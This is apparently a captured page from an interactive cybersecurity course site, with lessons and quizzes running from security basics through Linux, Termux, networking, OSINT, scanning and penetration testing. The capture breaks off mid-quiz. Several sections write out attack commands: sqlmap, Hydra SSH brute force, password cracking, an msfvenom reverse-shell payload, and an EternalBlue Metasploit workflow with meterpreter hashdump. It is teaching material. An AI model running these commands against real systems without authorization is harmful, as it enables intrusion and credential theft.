Home
0
⚠️ Offline — reading from cache. Progress is saved on this device.

⇄ Sync Progress

Share your progress between devices instantly.

— or —

CyberSec Hub

Master cybersecurity from zero to advanced. Interactive labs, quizzes, and hands-on activities.

[ OK ] mounting termux-fs ...
[ OK ] starting recon-shell ...
[ OK ] loading lab sandbox v2.3 ...
[ OK ] syncing progress ...
root@cybersec:~$ welcome, operator_
25
Sections
200+
Quizzes
100+
Tools

◆ Start Here

  1. Begin with FoundationsLinuxTermux
  2. Learn NetworkingRecon/OSINTScanning
  3. Practice Ethical HackingExploitation
  4. Specialize: Bug Bounty, Web Security, Red Team

🔍 Quick Reference

📚GlossarySearch 90+ security terms
ShortcutsCtrl+K search, Ctrl+1-9 nav

🎯 Daily Challenge

Loading...

Cybersecurity Foundations

Master the core principles, threats, frameworks, and defense strategies that form the backbone of cybersecurity.

⚡ Quick Reference
Command / TermWhat it does
CIA TriadConfidentiality (encryption), Integrity (hashing), Availability (redundancy)
AAA FrameworkAuthentication -> Authorization -> Accounting
Kill ChainRecon -> Weaponize -> Deliver -> Exploit -> Install -> C2 -> Actions
NIST CSFIdentify, Protect, Detect, Respond, Recover
Risk =Threat x Vulnerability x Impact
ControlsPreventive, Detective, Corrective
FrameworksPCI DSS (cards), HIPAA (health), GDPR (EU data), SOC 2 (services)
TreatmentMitigate, Transfer, Accept, Avoid

The CIA Triad & Core Principles

The CIA Triad (Confidentiality, Integrity, Availability) is the foundational model of information security. Confidentiality ensures data is accessible only to authorized individuals through encryption and access controls. Integrity maintains data accuracy using hashing and digital signatures.

Availability ensures systems are accessible when needed through redundancy, backups, load balancing, and DDoS protection. Beyond CIA, the AAA Framework (Authentication, Authorization, Accounting) provides operational structure for identity and access management.

Authentication verifies identity via passwords, tokens, or biometrics. Authorization determines what an authenticated user can do using RBAC or DAC models. Accounting logs all actions for audit trails. Together, these frameworks guide every security decision.

Networking Course
Networking Course

📝 Quick Quiz

What are the three pillars of the CIA Triad?

A. Control, Intelligence, Access
B. Confidentiality, Integrity, Availability
C. Cyber, Information, Authentication
D. Central, Internal, External
The CIA Triad — Confidentiality, Integrity, and Availability — is the foundational model of information security.

Threat Landscape & Attack Vectors

Modern cyber threats include malware (viruses, trojans, ransomware, spyware), social engineering (phishing, pretexting, baiting), and network attacks (MITM, DDoS, packet sniffing). Each targets specific vulnerabilities in systems, networks, or human behavior.

The Cyber Kill Chain maps attacker behavior: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Understanding this chain helps defenders identify and disrupt attacks at each stage.

Attack vectors include email attachments, malicious websites, USB drives, unpatched software, weak passwords, and insider threats. Defense requires controls at every layer: network, host, application, and data. No single control is sufficient — layered defense is essential.

Networking Course
Networking Course

📝 Quick Quiz

What is the first stage of the Cyber Kill Chain?

A. Exploitation
B. Delivery
C. Reconnaissance
D. Weaponization
Reconnaissance is the first stage where attackers gather information about their target.

Security Frameworks & Compliance

NIST CSF organizes security into five functions: Identify, Protect, Detect, Respond, and Recover. ISO 27001 is the international standard for Information Security Management Systems (ISMS), requiring systematic risk management through Plan-Do-Check-Act cycles.

Compliance frameworks: PCI DSS (payment card data), HIPAA (healthcare data), GDPR (EU personal data), SOC 2 (service organization controls). Each defines specific requirements for protecting sensitive data in its domain.

NIST SP 800-53 catalog offers over 1,000 security controls across 20 families. Organizations select controls based on their risk assessment and compliance requirements. Regular audits verify implementation effectiveness.

Networking Course
Networking Course

📝 Quick Quiz

Which NIST CSF function involves identifying cybersecurity risks?

A. Detect
B. Recover
C. Identify
D. Protect
The Identify function is the first NIST CSF function, focused on understanding organizational context and risk.

Risk Management & Defense in Depth

Risk is calculated as Risk = Threat × Vulnerability × Impact. Organizations use qualitative (High/Medium/Low) and quantitative (ALE, SLE, ARO) methods. Defense in Depth uses layered controls: Physical, Network, Host, Application, and Data.

Security controls are Preventive (block attacks), Detective (identify incidents), or Corrective (remediate damage). Effective programs balance all three across every layer of the technology stack.

Risk treatment options: Mitigate (implement controls), Transfer (insurance), Accept (documented decision), Avoid (eliminate the activity). Regular risk assessments ensure controls remain aligned with the evolving threat landscape.

Networking Course
Networking Course

📝 Quick Quiz

What does 'Defense in Depth' refer to?

A. Layered security controls
B. Deep packet inspection
C. A single powerful firewall
D. Underground network defense
Defense in Depth uses multiple layers of security controls to protect assets.

📝 Quick Quiz

Which component of the AAA framework determines what an authenticated user is allowed to do?

A. Authentication
B. Accounting
C. Authorization
D. Accessibility
Authorization defines the permissions granted to an authenticated identity; Authentication proves identity, Accounting logs activity.

📝 Quick Quiz

Data is silently altered by an attacker. Which CIA pillar has been violated?

A. Confidentiality
B. Integrity
C. Availability
D. Authenticity
Integrity means data is accurate and unmodified. Unauthorized changes are an integrity breach.

📝 Quick Quiz

A company decides to keep a low-likelihood risk without extra controls. Which treatment is this?

A. Mitigate
B. Transfer
C. Avoid
D. Accept
Accepting a risk is a documented management decision when the cost of controls exceeds the risk.

📝 Quick Quiz

The PCI DSS framework applies mainly to which kind of data?

A. Healthcare records
B. Payment card data
C. EU personal data
D. Military intelligence
PCI DSS (Payment Card Industry Data Security Standard) protects cardholder data.

Linux Mastery

Complete guide to Linux systems administration, commands, shell scripting, and cybersecurity-specific Linux skills.

⚡ Quick Reference
Command / TermWhat it does
apt update / upgradeRefresh package lists, then upgrade all packages
chmod 755 fileOwner rwx, group+others rx
chown user:groupChange file ownership
find / -perm -4000Find SUID binaries
grep -r "x" dir/Recursive text search
ss -tlnpList listening TCP ports with processes
ufw enableTurn on the firewall; default deny incoming
systemctl status svcCheck a systemd service
tar -czvf out.tar.gz dirCreate a compressed archive
sudo -lList commands you can run with sudo

Linux Distributions & Setup

Choosing the right distribution is critical. Kali Linux is the industry standard with 600+ security tools. Parrot OS offers a lighter alternative. BlackArch (Arch-based) has 2,800+ tools. For servers: Ubuntu Server, Debian, Rocky Linux.

Essential directories: /etc (config), /var/log (logs), /home (users), /usr/bin (executables), /tmp (temp). Understanding FHS is fundamental to navigating any Linux system.

Initial setup: sudo apt update && sudo apt upgrade -y. Install essentials: sudo apt install git curl wget vim net-tools -y. Configure firewall: sudo ufw enable && sudo ufw default deny incoming.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

Which Linux distribution is the industry standard for penetration testing?

A. Kali Linux
B. Fedora
C. Arch Linux
D. Ubuntu
Kali Linux is the industry standard for penetration testing with 600+ pre-installed security tools.

Essential Command Line Skills

File navigation: ls -la, cd, cp -r, mv, rm -rf, mkdir -p. Search: find / -name '*.conf' 2>/dev/null. Text processing: grep -r 'failed' /var/log/, awk '{print $1}', sed 's/old/new/g'.

System info: uname -a, df -h, free -m, ps aux, top, ss -tlnp, whoami && id. Pipe combinations create powerful one-liners for log analysis and system monitoring.

Process management: kill -9 PID, pkill -f pattern, nohup command &. File permissions: chmod 755 file, chown user:group file. Package management: apt install/remove/update, dpkg -i package.deb.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

Which command recursively searches for files by name?

A. find / -name
B. locate
C. ls -la
D. grep -r
The find command with -name flag searches for files recursively through the filesystem.

Users, Permissions & Sudo

User management: useradd -m username, passwd username, usermod -aG group user. Permissions: rwxr-xr-- = owner rwx, group r-x, others r-- (754 octal). chmod changes permissions, chown changes ownership.

Critical files: /etc/passwd (accounts), /etc/shadow (passwords), /etc/group (groups). SUID bit (chmod u+s) runs executables as the file owner — a common privesc vector. Audit with find / -perm -4000.

sudo grants temporary root privileges. visudo safely edits /etc/sudoers. SGID and sticky bits add additional permission nuances. Understanding the permission model is essential for both administration and privilege escalation attacks.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

What does the SUID permission bit do?

A. Makes a file hidden
B. Runs the executable as the file owner
C. Makes a file executable by everyone
D. Locks a file from deletion
The SUID bit runs an executable with the privileges of the file's owner.

Shell Scripting & Automation

Scripts start with #!/bin/bash. Variables: VAR=value (no spaces). Conditionals: if [ "$VAR" = "value" ]; then ... fi. Loops: for i in $(seq 1 10); do echo $i; done. Functions: scan_target() { nmap -sV $1; }.

Error handling: set -e (exit on error), set -u (error on unset vars), trap 'cleanup' EXIT. Exit codes: $? (0 = success). Use $(command) for substitution and tee to log output.

Real-world scripts: automated port scanning, log monitoring, user auditing, backup verification. Schedule with cron: crontab -e0 */6 * * * /path/to/scan.sh runs every 6 hours.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

What does the shebang (#!) specify?

A. The interpreter to run the script
B. The working directory
C. The file's encryption method
D. The script's owner
The shebang tells the system which interpreter to use when executing the script.

📝 Quick Quiz

Which directory stores system logs on a standard Linux box?

A. /etc
B. /var/log
C. /usr/share
D. /opt
/var/log holds system and application logs such as syslog, auth.log, and kern.log.

📝 Quick Quiz

What permissions does chmod 755 give the file owner?

A. Read only
B. Read and execute
C. Read, write, execute
D. Execute only
7 = rwx for the owner, 5 = r-x for group and others.

📝 Quick Quiz

Which command reports the disk usage of a directory?

A. du
B. df
C. mount
D. fdisk
du measures directory sizes; df reports filesystem free space.

📝 Quick Quiz

In /etc/passwd, the x in the password field means:

A. Password is empty
B. Password is encrypted in /etc/shadow
C. Account is locked
D. User is a service account
The x flag moves password hashes into /etc/shadow, readable only by root.

Termux Complete Guide

Full Termux setup, packages, configuration, and cybersecurity tools for Android-based penetration testing.

⚡ Quick Reference
Command / TermWhat it does
pkg install Install a package (pkg = apt wrapper)
pkg upgrade -yUpgrade all Termux packages
termux-setup-storageGrant access to shared Android storage
pkg install opensshInstall SSH client
ssh user@hostConnect to a remote host
~/storage/sharedAccess Android shared storage
termux-wake-lockPrevent CPU sleep
nano script.sh && bash script.shWrite and run a shell script

Installation & Initial Setup

Install from F-Droid (recommended) or GitHub — never use Google Play (outdated). Run pkg update && pkg upgrade to sync repositories. Essential packages: pkg install git wget curl vim nano openssh python.

Add pkg install termux-api for Android feature access (camera, GPS, SMS). Configure: edit ~/.bashrc for aliases. Use termux-setup-storage to access shared storage. Install fonts: curl -L https://github.com/termux/termux-packages/files/2949003/FiraCode.zip -o Fira.zip && unzip Fira.zip -d ~/.termux/font.ttf.

SSH server setup: pkg install opensshsshd (port 8022). Set password: passwd. Connect from PC: ssh -p 8022 user@192.168.x.x. For SOCKS proxy: ssh -D 1080 user@target.

LearnLinuxTV
LearnLinuxTV

📝 Quick Quiz

Where should you install Termux from?

A. Google Play Store
B. Samsung Galaxy Store
C. F-Droid or GitHub
D. APKPure
F-Droid and GitHub provide the most up-to-date Termux versions.

Package Management & Storage

Termux uses pkg (wrapping apt/dpkg). Commands: pkg update, pkg install, pkg list-installed, pkg search. Clean cache: apt clean && apt autoremove.

Essential security packages: pkg install nmap sqlmap hydra john ruby python. Python: pip install requests beautifulsoup4 scapy. Ruby: gem install bundler. Monitor storage: df -h.

Move large dirs to shared storage: ln -s /sdcard/Download/termux ~/storage. Avoid unnecessary packages — each adds to image size. The Termux repository is a curated subset of Debian packages optimized for Android.

LearnLinuxTV
LearnLinuxTV

📝 Quick Quiz

What command cleans the package cache?

A. pkg cache --clear
B. rm /var/cache/*
C. pkg clean
D. apt clean
apt clean removes the local repository of retrieved package files.

Termux API & Android Integration

Termux:API app enables hardware access. Commands: termux-camera-photo photo.jpg (capture), termux-location (GPS), termux-clipboard-get (clipboard), termux-battery-status.

Notifications: termux-notification --title 'Alert' --content 'Done'. SMS: termux-sms-send -n phone 'msg'. Vibrate: termux-vibrate -d 500. Useful for automated security monitoring scripts on Android.

Wi-Fi: termux-wifi-scaninfo (scan nearby networks). Bluetooth: termux-bluetooth-scaninfo. Combine with security tools for mobile reconnaissance and network analysis capabilities.

LearnLinuxTV
LearnLinuxTV

📝 Quick Quiz

What companion app enables Android hardware access from Termux?

A. Termux:Styling
B. Termux:API
C. Termux:Boot
D. Termux:Widget
Termux:API is the companion app for accessing Android hardware features.

Security Toolchains on Termux

Mobile pentesting stack: pkg install nmap sqlmap hydra john nikto. For Metasploit: pkg install ruby → clone from GitHub. Network analysis: pkg install tshark tcpdump.

SQL injection: sqlmap -u 'http://target/page?id=1' --dbs. SSH brute force: hydra -l admin -P wordlist.txt ssh://target. Password cracking: john --wordlist=wordlist.txt hash.txt.

Combine tools in scripts for automated workflows: reconnaissance → scanning → exploitation. Use cron for scheduled scans. Termux turns any Android device into a portable security workstation.

LearnLinuxTV
LearnLinuxTV

📝 Quick Quiz

Which tool is used for automated SQL injection attacks?

A. John the Ripper
B. SQLMap
C. Nmap
D. Hydra
SQLMap automates detection and exploitation of SQL injection vulnerabilities.

📝 Quick Quiz

Which package manager is native to Termux?

A. apt
B. pkg
C. yum
D. pacman
pkg is Termux's apt wrapper tuned for Android's environment.

📝 Quick Quiz

Which command gives Termux access to shared Android storage?

A. termux-setup-storage
B. termux-storage
C. termux-allow-storage
D. termux-mount
termux-setup-storage creates ~/storage links to shared folders like Pictures and Downloads.

📝 Quick Quiz

Termux can run a full Linux environment on Android:

A. Only with root
B. Without root, in an unprivileged sandbox
C. Only in a chroot
D. Only via a VM
Termux runs unprivileged in Android's sandbox and does not require root.

📝 Quick Quiz

Which command upgrades every package in Termux?

A. pkg update
B. pkg upgrade -y
C. pkg refresh
D. apt install -y *
pkg upgrade -y updates all installed packages non-interactively.

Networking Deep Dive

Complete networking: protocols, OSI model, subnetting, routing, and network security fundamentals.

⚡ Quick Reference
Command / TermWhat it does
OSI modelL1 Physical, L2 Data Link, L3 Network, L4 Transport, L5+
TCP vs UDPTCP: reliable/ordered. UDP: fast/no handshake
Ports22 SSH, 80 HTTP, 443 HTTPS, 53 DNS, 25 SMTP, 3306 MySQL
Subnet /24255.255.255.0 = 254 usable hosts
DNS recordsA (IPv4), AAAA (IPv6), MX (mail), CNAME (alias), TXT
HTTP methodsGET, POST, PUT, DELETE, OPTIONS, HEAD
netstat -tlnShow listening TCP ports
curl -v URLVerbose HTTP request

OSI Model & TCP/IP Stack

The OSI Model has 7 layers: Physical (cables), Data Link (MAC, switches), Network (IP, routing), Transport (TCP/UDP), Session (connections), Presentation (encryption), Application (HTTP, DNS).

TCP/IP Model (4 layers): Network Access (OSI 1-2), Internet (OSI 3), Transport (OSI 4), Application (OSI 5-7). TCP is connection-oriented (three-way handshake). UDP is connectionless and faster.

Key protocols: Layer 2 — ARP, STP. Layer 3 — ICMP, IPsec, OSPF. Layer 4 — TCP (80, 443, 22), UDP (53, 161). Layer 7 — HTTP, DNS, SMTP, FTP, SSH. Each protocol's behavior defines how attacks and defenses work.

Networking Course
Networking Course

📝 Quick Quiz

Which OSI layer handles IP addressing and routing?

A. Layer 7
B. Layer 3
C. Layer 2
D. Layer 4
Layer 3 (Network) handles IP addressing, routing, and packet forwarding.

IP Addressing & Subnetting

IPv4: 32-bit, four octets (e.g., 192.168.1.100). Private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16. IPv6: 128-bit, eight hex groups. Classes: A (/8), B (/16), C (/24).

Subnetting: /25 = 126 hosts, /26 = 62, /27 = 30, /28 = 14, /29 = 6, /30 = 2 (point-to-point). Calculate: 2^(32-prefix) - 2 usable hosts. VLSM enables variable-length subnet masks.

Tools: ip addr show, ip route show, traceroute target, dig target, arp -a. CIDR notation simplifies subnet representation. Supernetting aggregates routes for efficient routing tables.

Networking Course
Networking Course

📝 Quick Quiz

How many usable hosts are in a /28 subnet?

A. 30
B. 62
C. 14
D. 16
A /28 has 16 total addresses minus 2 (network + broadcast) = 14 usable.

TCP, UDP & Core Protocols

TCP: reliable, ordered delivery via SYN → SYN-ACK → ACK handshake. Flags: SYN, ACK, FIN, RST, PSH, URG. Teardown: FIN → ACK → FIN → ACK. Sequence numbers ensure data integrity.

UDP: connectionless, faster. Used for DNS (53), DHCP (67/68), streaming, VoIP. UDP floods and DNS amplification exploit its simplicity for DoS attacks.

Critical protocols: DNS (53), ARP (Layer 2 — spoofing enables MITM), DHCP (67/68), ICMP (ping, traceroute), SMTP (25/587), SNMP (161). Understanding each protocol's behavior is essential for both attack and defense.

Networking Course
Networking Course

📝 Quick Quiz

What is the TCP three-way handshake sequence?

A. SYN → ACK → SYN-ACK
B. SYN → SYN-ACK → ACK
C. ACK → SYN → RST
D. FIN → SYN → ACK
TCP: SYN → SYN-ACK → ACK ensures both sides are ready for data transfer.

Network Security Devices & Tools

Firewalls: Packet filtering (header inspection), Stateful (tracks connection state), NGFW (DPI, IPS, application awareness). Host-based: iptables, ufw. Each type provides different levels of protection.

IDS vs IPS: IDS alerts passively. IPS actively blocks threats. Signature-based detection uses known patterns. Anomaly-based establishes baselines and flags deviations.

Tools: tcpdump -i eth0 (capture), wireshark (GUI analysis), nmap -sV target (scanning), netcat -lvnp 4444 (listener), arp-scan --localnet (discovery). Wireshark filters: tcp.port==443.

Networking Course
Networking Course

📝 Quick Quiz

What is the difference between IDS and IPS?

A. IDS is hardware
B. IDS blocks, IPS alerts
C. They are the same
D. IDS alerts, IPS blocks
IDS is passive and alerts; IPS is active and blocks threats.

📝 Quick Quiz

At which OSI layer does a router make forwarding decisions?

A. Layer 1
B. Layer 2
C. Layer 3
D. Layer 7
Routers operate at the Network layer (L3) using IP addresses; switches use L2 MAC addresses.

📝 Quick Quiz

Which protocol translates domain names into IP addresses?

A. DHCP
B. DNS
C. ARP
D. SMTP
DNS (Domain Name System) resolves names like example.com to IP addresses.

📝 Quick Quiz

What is the default subnet mask for a /24 network?

A. 255.0.0.0
B. 255.255.0.0
C. 255.255.255.0
D. 255.255.255.255
A /24 (255.255.255.0) provides 256 addresses, 254 usable.

📝 Quick Quiz

Which port is the default for HTTPS?

A. 80
B. 443
C. 8080
D. 8443
443 is HTTPS; 80 is HTTP; 8080/8443 are common alternates.

Reconnaissance & OSINT

Master information gathering, OSINT tools, passive recon, and target profiling for security assessments.

⚡ Quick Reference
Command / TermWhat it does
whois target.comDomain registration info
dig target.comDNS records
Google Dorkingsite: filetype: intitle: inurl: intext:
ShodanSearch internet-exposed devices
theHarvester -d target.comCollect emails/subdomains
OSINT sourcesSocial media, job posts, leaked dbs, censys
nslookup target.comResolve domain to IP
Reverse whoisFind other domains by same registrant

Passive vs Active Recon

Passive recon: no direct target contact. Sources: DNS records, WHOIS, search engines, social media, job postings, public records. Tools: theHarvester, Maltego, Google Dorks, Shodan.

Active recon: direct interaction. Port scanning (nmap), service enumeration, OS detection, banner grabbing. Generates traffic that may be logged. Always ensure authorization first.

Recon-ng automates OSINT workflows. SpiderFoot correlates intelligence across 200+ modules. OSRFramework checks username availability across 300+ sites. Use these to build comprehensive target profiles.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which type of recon involves direct interaction with the target?

A. Active
B. Covert
C. Defensive
D. Passive
Active reconnaissance involves direct interaction like port scanning.

OSINT Tools & Techniques

Google Dorks: site:target.com filetype:pdf, inurl:admin login, intitle:'index of' password. Shodan indexes internet devices — search by port, country, vulnerability.

theHarvester: theHarvester -d target.com -b google,bing,linkedin. Maltego visualizes entity relationships. Recon-ng provides Metasploit-like OSINT automation.

Social OSINT: Sherlock checks username availability. Metagoofil extracts document metadata. ExifTool reads GPS from images. Wayback Machine reveals deleted content.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which tool indexes internet-connected devices for recon?

A. Shodan
B. Hydra
C. Wireshark
D. Nmap
Shodan is a search engine for internet-connected devices.

Subdomain & DNS Enumeration

DNS enumeration: DNSRecon: dnsrecon -d target.com -t std. Sublist3r: sublist3r -d target.com. Amass: amass enum -d target.com. Combine results for maximum coverage.

DNS record types: A (IPv4), AAAA (IPv6), CNAME (aliases), MX (mail), NS (nameservers), TXT (SPF/DKIM), SOA (zone info). Use dig target.com ANY to query all records.

Certificate Transparency: crt.sh reveals all certificates issued for a domain, exposing subdomains. Validate with httpx -l subs.txt -silent to find live hosts. Subfinder and assetfinder add additional sources.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which DNS record type specifies mail servers?

A. TXT
B. CNAME
C. MX record
D. A record
MX records specify the mail servers responsible for receiving email.

Target Profiling & Footprinting

Build profiles: Infrastructure (IP ranges, cloud, CDN, WAF), Technology (server, frameworks, CMS), People (names, roles, emails), Business (org chart, partnerships).

Tech fingerprinting: Wappalyzer, WhatWeb (whatweb target.com), BuiltWith. HTTP headers: curl -I target.com reveals Server, X-Powered-By.

Network mapping: traceroute, BGP data from bgp.he.net, WHOIS. Combine all sources into a structured report for the engagement team. Organize findings by attack surface area.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What tool identifies the technology stack of a website?

A. Nmap
B. Wappalyzer
C. Hydra
D. SQLMap
Wappalyzer identifies CMS, frameworks, languages, and analytics used on websites.

📝 Quick Quiz

Which service returns domain registration and registrar information?

A. DNS
B. WHOIS
C. ARP
D. RADIUS
WHOIS reveals registrar, creation/expiry dates, and name servers.

📝 Quick Quiz

Using Google search operators to find exposed files is called:

A. Google Dorking
B. SEO testing
C. Search scraping
D. OS fingerprinting
Dorks like site:, filetype:, and intitle: reveal unindexed data via search engines.

📝 Quick Quiz

Which service indexes internet-exposed devices and banners?

A. Shodan
B. LinkedIn
C. Pastebin
D. GitHub
Shodan scans the internet and lets you search devices, ports, and banners.

📝 Quick Quiz

Passive footprinting means:

A. Actively probing the target
B. Gathering info without touching the target
C. Scanning all ports
D. Exploiting a service
Passive footprinting uses OSINT sources and never sends packets to the target.

Scanning & Enumeration

Master port scanning, service enumeration, vulnerability scanning, and network mapping techniques.

⚡ Quick Reference
Command / TermWhat it does
nmap -sV -sC -p- hostVersion+scripts, all ports
nmap -O hostOS detection
nmap -sU hostUDP scan
nmap --script vuln hostRun vulnerability scripts
masscan -p1-65535 hostFast port sweep
gobuster dir -u URL -w wordlistDirectory brute force
nikto -h hostWeb server scanner
nc -zv host portNetcat port probe

Port Scanning with Nmap

TCP Connect: nmap -sT target (full handshake). SYN Scan: nmap -sS target (default, stealthy). ACK Scan: nmap -sA target (maps firewall rules). UDP Scan: nmap -sU target.

Service detection: nmap -sV -sC target. OS detection: nmap -O target. Aggressive: nmap -A target (OS + version + scripts + traceroute). Full ports: nmap -p- target (all 65,535).

NSE scripts: --script=http-enum, --script=smb-enum-shares, --script=vuln. Output: -oN (normal), -oX (XML), -oG (grepable), -oA (all). Timing: -T0 (paranoid) to -T5 (insane).

Professor Messer
Professor Messer

📝 Quick Quiz

What Nmap flag performs a stealthy SYN scan?

A. -sT
B. -sV
C. -O
D. -sS
The -sS (SYN scan) sends SYN packets without completing the handshake.

Service Enumeration

SMB: enum4linux -a target, smbclient -L //target, rpcclient -U '' target. Reveals shares, users, policies. SMBv1 vulnerable to EternalBlue (MS17-010).

SNMP: snmpwalk -v2c -c public target. Default strings: public, private. onesixtyone -c community.txt target brute-forces strings. SNMPv3 with auth is preferred.

LDAP: ldapsearch -x -h target -b 'dc=domain,dc=com'. DNS Zone Transfer: dig axfr target.com @ns1.target.com. RPC: rpcinfo -p target. Each protocol leaks information for lateral movement.

Professor Messer
Professor Messer

📝 Quick Quiz

What is a default SNMP community string?

A. admin
B. manager
C. snmp
D. public
The default community string 'public' often provides read access to MIB data.

Vulnerability Scanning

Nessus is the industry-standard vulnerability scanner. OpenVAS (Greenbone) is the open-source alternative. Both scan for misconfigurations, missing patches, and known CVEs with CVSS scores.

Nikto: nikto -h target.com — outdated software, dangerous files, misconfigurations. WPScan: wpscan --url target.com --enumerate vp,vt,u — WordPress vulnerabilities.

Databases: NVD (CVE entries), Exploit-DB (public exploits), CVSS (severity 0-10). Cross-reference scanner results with exploit databases to prioritize remediation based on real-world exploitability.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the open-source alternative to Nessus?

A. OpenVAS
B. Metasploit
C. Wireshark
D. Nmap
OpenVAS is the leading open-source vulnerability scanner.

Network Mapping & OS Detection

Ping Sweep: nmap -sn 192.168.1.0/24. ARP scan: nmap -sn -PR 192.168.1.0/24 (local only, undetectable). Discover all live hosts before scanning services.

OS Detection: nmap -O --osscan-guess target. TTL analysis: Linux=64, Windows=128, Cisco=255. TCP window size and options also fingerprint OS.

Topology mapping: netdiscover -r 192.168.1.0/24, masscan (millions of IPs/sec). Combine results into a network diagram showing hosts, services, and trust relationships.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the default TTL for most Linux systems?

A. 64
B. 32
C. 128
D. 255
Linux typically sends TTL=64, Windows=128, Cisco=255.

📝 Quick Quiz

Which nmap option performs a TCP connect scan?

A. -sS
B. -sT
C. -sU
D. -sV
-sT completes the full three-way handshake; -sS is the stealthier SYN scan.

📝 Quick Quiz

Which nmap option enables service/version detection?

A. -O
B. -p
C. -sV
D. -sn
-sV interrogates open ports to identify the running service version.

📝 Quick Quiz

Nmap marks a port as what when a firewall drops the probe?

A. open
B. closed
C. filtered
D. unfiltered
Filtered means no response was received, typically due to firewall rules.

📝 Quick Quiz

Enumeration mainly extracts:

A. Banners and service details for exploitation
B. Password hashes
C. A full exploit chain
D. Backup tapes
Enumeration collects usernames, shares, services, and versions to plan attacks.

Ethical Hacking Methodology

Learn the complete ethical hacking process: planning, reconnaissance, scanning, exploitation, and reporting.

⚡ Quick Reference
Command / TermWhat it does
PhasesPre-engagement -> Recon -> Scanning -> Exploit -> Post -> Report
White boxFull info provided
Black boxNo prior info
Grey boxPartial info
DocsRules of Engagement (ROE), scope, permission letter
StandardsPTES, OWASP WSTG, OSSTMM
ReportExecutive summary, findings, evidence, remediation
RetestVerify fixes after report

Methodology & Rules of Engagement

Five phases: Planning (scope, ROE), Reconnaissance (information gathering), Scanning (enumeration), Exploitation (gaining access), Reporting (findings, recommendations).

Rules of Engagement: target systems, testing windows, allowed techniques, communication channels, emergency contacts. Get authorization in writing — without it, testing is illegal under CFAA.

Engagement types: Black Box (no knowledge), Grey Box (partial), White Box (full access). Each has different time requirements and coverage. Set clear goals for the assessment.

John Hammond
John Hammond

📝 Quick Quiz

What engagement type provides no prior knowledge to the tester?

A. Black Box
B. White Box
C. Grey Box
D. Red Box
Black Box simulates a real attacker with no prior knowledge.

Exploitation Techniques

Exploitation uses discovered vulnerabilities to gain access. Metasploit Framework: msfconsolesearch eternalblueuse exploit/...set RHOSTS targetexploit. Provides payloads for shells, meterpreter sessions.

Web exploitation: SQL Injection: sqlmap -u 'http://target/page?id=1' --dbs. XSS: inject malicious scripts. CSRF: forge unauthorized requests. File Upload: bypass filters for web shells.

Password attacks: Hydra: hydra -l admin -P wordlist.txt ssh://target. John the Ripper: john --wordlist=rockyou.txt hash.txt. Hashcat: GPU-accelerated cracking. Medusa: parallel brute force.

John Hammond
John Hammond

📝 Quick Quiz

What framework provides exploit modules and payloads?

A. Metasploit
B. Burp Suite
C. Nmap
D. Wireshark
Metasploit Framework provides exploit modules, payloads, and post-exploitation tools.

Social Engineering

Phishing: fraudulent emails mimicking trusted entities to steal credentials or deliver malware. Spear phishing targets specific individuals using gathered intel. Pretexting creates fabricated scenarios to manipulate targets.

Tools: GoPhish (phishing campaigns), SET (Social Engineering Toolkit), Evilginx2 (real-time proxy phishing that bypasses MFA). Create convincing lures using OSINT data about the target organization.

Defense: security awareness training, email filtering, MFA, URL scanning, and simulated phishing campaigns. Test employee resilience and measure improvement over time. Document all findings for the engagement report.

John Hammond
John Hammond

📝 Quick Quiz

What is spear phishing?

A. Physical access attack
B. Phone-based social engineering
C. Targeted phishing using gathered intel
D. Mass email to thousands
Spear phishing targets specific individuals using information gathered through OSINT.

Reporting & Documentation

Reports should include: Executive Summary (non-technical overview), Methodology (tools, techniques, scope), Findings (vulnerabilities with severity ratings), Recommendations (remediation steps).

Severity ratings: Critical (immediate exploitation), High (significant impact), Medium (requires specific conditions), Low (limited impact), Informational (best practice). Use CVSS scores for consistency.

Tools: Pwndoc (reporting framework), Ghostwriter (collaborative reporting), Dradis (evidence management). Include screenshots, code snippets, and reproduction steps. Deliver reports securely via encrypted channels.

John Hammond
John Hammond

📝 Quick Quiz

What should be included in every penetration test report?

A. Executive summary and recommendations
B. Employee personal data
C. Only technical details
D. Source code of exploits
Reports should include both executive summaries for management and technical details with remediation steps.

📝 Quick Quiz

Which penetration testing phase happens before any testing begins?

A. Reconnaissance
B. Pre-engagement
C. Exploitation
D. Reporting
Pre-engagement defines scope, rules of engagement, and legal authorization.

📝 Quick Quiz

In a white-box test, the tester:

A. Has no information about the target
B. Gets full architecture and credentials
C. Only tests from outside
D. Only does OSINT
White-box testing provides complete internal knowledge for deep review.

📝 Quick Quiz

Rules of Engagement specify:

A. Attack tool pricing
B. Targets, timing, and allowed techniques
C. Which OS to use
D. Report formatting only
ROE documents authorized scope, schedule, and permitted actions.

📝 Quick Quiz

In the Cyber Kill Chain, what follows Delivery?

A. Reconnaissance
B. Weaponization
C. Exploitation
D. Installation
Delivery of the weapon leads to Exploitation, then Installation.

Exploitation & Exploit Development

Master exploitation frameworks, exploit development basics, and post-exploitation techniques.

⚡ Quick Reference
Command / TermWhat it does
msfconsoleLaunch Metasploit
msfvenom -p linux/x64/shell_reverse_tcp LHOST= IP LPORT= PORT -f elfGenerate payload
searchsploit termSearch Exploit-DB
Reverse shellTarget connects back to you
Bind shellYou connect to a listener on target
MeterpreterAdvanced interactive Metasploit payload
search exploitSearch modules: search eternalblue
use / set / runSelect module, set options, execute

Metasploit Framework Deep Dive

Metasploit architecture: Exploits (vulnerability code), Payloads (code execution), Auxiliary (scanning/fuzzing), Post (post-exploitation), Encoders (evasion). msfconsole is the primary interface.

Workflow: search eternalblueuse exploit/windows/smb/ms17_010_eternalblueshow optionsset RHOSTS targetset PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST attackerexploit.

Meterpreter commands: sysinfo, getuid, hashdump, screenshot, download file, upload shell.exe, shell, , migrate PID. Use background to keep sessions while multitasking.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the primary interface for Metasploit?

A. msfrpc
B. msfconsole
C. msfvenom
D. msfdb
